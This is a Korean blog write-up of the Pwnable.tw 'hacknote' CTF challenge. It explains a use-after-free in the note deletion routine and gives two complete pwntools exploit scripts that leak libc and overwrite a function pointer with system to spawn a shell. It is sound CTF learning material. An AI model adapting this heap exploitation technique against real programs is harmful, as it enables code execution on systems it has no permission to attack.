Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[Pwnable.tw] hacknote(Write-up) 본문

Hack/Pwnable

[Pwnable.tw] hacknote(Write-up)

CIDY 2023. 1. 1. 03:03

문제풀다가 2023년이 됐다. 왜인지 모르겠는데 객관적으로 가장 힘들었어야 할 2021년이 어른이 된 후 가장 행복했던 기억으로 남아 있다. 그땐 정말 혼자였지만 오히려 그래서 편했고, 스스로 나날이 눈에 보이는 성취를 낼 수 있었기 때문인 것 같다. 올해는 포너블에서 무언가를 성취할 수 있었으면 좋겠다:) 

mitigation

적당한 mitigation. pie가 없는건 아주 맘에 든다. 예전에 풀었던 문제인데 라업 정리가 안 돼있어서 다시 풀어보기로 했다. 사실 무슨 문제였는지 기억도 잘 안 남ㅋㅋ

 

메뉴 문제다. add delete print... 동적할당문제인가 싶은 메뉴 이름이다. 그리고 아마 print에서 립씨릭이 되지 않을까 궁예해본다.

 

add note부터 알아보자.

 

804a0ac는 note 개수 count같다. 5개가 한계인듯. 그리고 for문 돌면서 ptr배열 중 처음으로 빈 것 찾아 malloc(8)한다. 32환경에서 malloc은 오랜만이라 좀 낯설다. 32에서 힙 분석 도구가 잘 돌아갔었나 싶기도..

 

할당한 첫 4바이트는 뭐 이상한거 넣고(0x804862b ->한번 봐야할듯) 두 번째는 size만큼 malloc한 주소 넣는다. 그리고 거기에 size만큼 read하고 note_count 증가시키고 끗.

 

delete_note함수이다. idx입력받는다. 현재 있는 노트들 중에 고를 수 있다. 딱히 oob이슈는 없는듯. 그리고 동적할당한 두개 다 해제하고 끝난다.

 

idx입력받고 별일없으면 출력해준다. ptr[v1]에 puts를 넣은 게 진짜 puts함수 주소였나보다ㅋㅋ

 

암튼 코드는 이게 끝이다.

 

 

일단 문제는 delete쪽이다. ptr을 저렇게 저장하는것도 위험한데 초기화까지 안했다면 동일 크기를 재할당해와서 무슨 문제를 충분히 일으킬 수 있을듯하다.

 

일단 libc leak은 간단히 가능하다. 언소티드 연결을 이용하는건데, 크게 하나 할당한 뒤 해제하고 (이때 탑청크와의 병합 방지를 위해 노트 하나 더 할당-해제해야 한다.) 새롭게 동일한 크기를 할당하여 출력 메뉴를 쓰면 잔존하는 fd와 bk를 릭할 수 있다.(main arena)

 

그리고 최종 익스는 아마 함수 포인터를 이용할 수 있을 것 같다. puts함수 포인터가 직접 적혀 실행된다는 점을 이용해 거기를 system으로 덮고, 이때의 note내용은 /bin/sh면 간단히 해결이다.

 

from pwn import *

def add(size, content):
    p.sendafter(b"Your choice :", b"1")
    p.sendafter(b"Note size :", str(size))
    p.sendafter(b"Content :", content)

def delete(idx):
    p.sendafter(b"Your choice :", b"2")
    p.sendafter(b"Index :", str(idx))

def _print(idx):
    p.sendafter(b"Your choice :", b"3")
    p.sendafter(b"Index :", str(idx))

p = remote("chall.pwnable.tw", 10102)
#p = process("./hacknote")
e = ELF("./hacknote")
#libc = e.libc
libc = ELF("./libc_32.so.6")

add(0x500, b"A") #0
add(0x8, b"A") #1
delete(1)
delete(0)
add(0x500, b"A") #2
_print(2) 

p.recvn(4)
__malloc_hook = u32(p.recvn(4)) - 50 - 0x16
libc_base = __malloc_hook - libc.sym['__malloc_hook']
print(hex(libc_base))
system = libc_base + libc.sym['system']

delete(2)
add(0x8, p32(system) + b";sh\x00")
_print(1)

p.interactive()

이게 왜인지 로되리안이다. 립씨릭까지는 잘 되는데... 에휴

 

from pwn import *

p = remote("chall.pwnable.tw", 10102)
#p = process("./hacknote")
e = ELF("./hacknote")
#libc = e.libc
libc = ELF("./libc_32.so.6")

def alloc(size, data):
    p.sendlineafter(b"Your choice :", b"1")
    p.sendafter(b"Note size :", str(size))
    p.sendafter(b"Content :", data)

def free(idx):
    p.sendlineafter(b"Your choice :", b"2")
    p.sendafter(b"Index :", str(idx))

def Print(idx):
    p.sendlineafter(b"Your choice :", b"3")
    p.sendafter(b"Index :", str(idx))


puts_got = 0x804a024
exit_got = 0x804a014
ppprint = 0x804862B

alloc(0xc, b"A")
alloc(0x30, b"B")
free(0)
free(1)
alloc(0xc, p32(ppprint) + p32(puts_got))
pause()
Print(0)

puts = u32(p.recvn(4))
libc_base = puts - libc.sym['puts']
print(hex(libc_base))
system = libc_base + libc.sym['system']
free(2)

alloc(0xc, p32(system) + b";sh\x00")
Print(0)

p.interactive()

이게 remote에서 되는 풀이인데 릭 방법만 빼면 뭐가 다른지 모르겠음.(함수 포인터를 출력함수로 덮고 인자로 got를 줘서 릭한것임) ㅋㅋ 어차피 플래그는 딴 상태니까 이쯤하련다~

 

flag

'Hack > Pwnable' 카테고리의 다른 글

[Pwnable.tw] Silver Bullet(Write-up)  (2) 2023.01.03
[Pwnable.tw] applestore(Write-up)  (2) 2023.01.02
[Pwnable.tw] dubblesort(Write-up)  (0) 2023.01.01
[Pwnable.tw] orw(Write-up)  (0) 2022.12.31
[Pwnable.tw] start(Write-up)  (0) 2022.12.31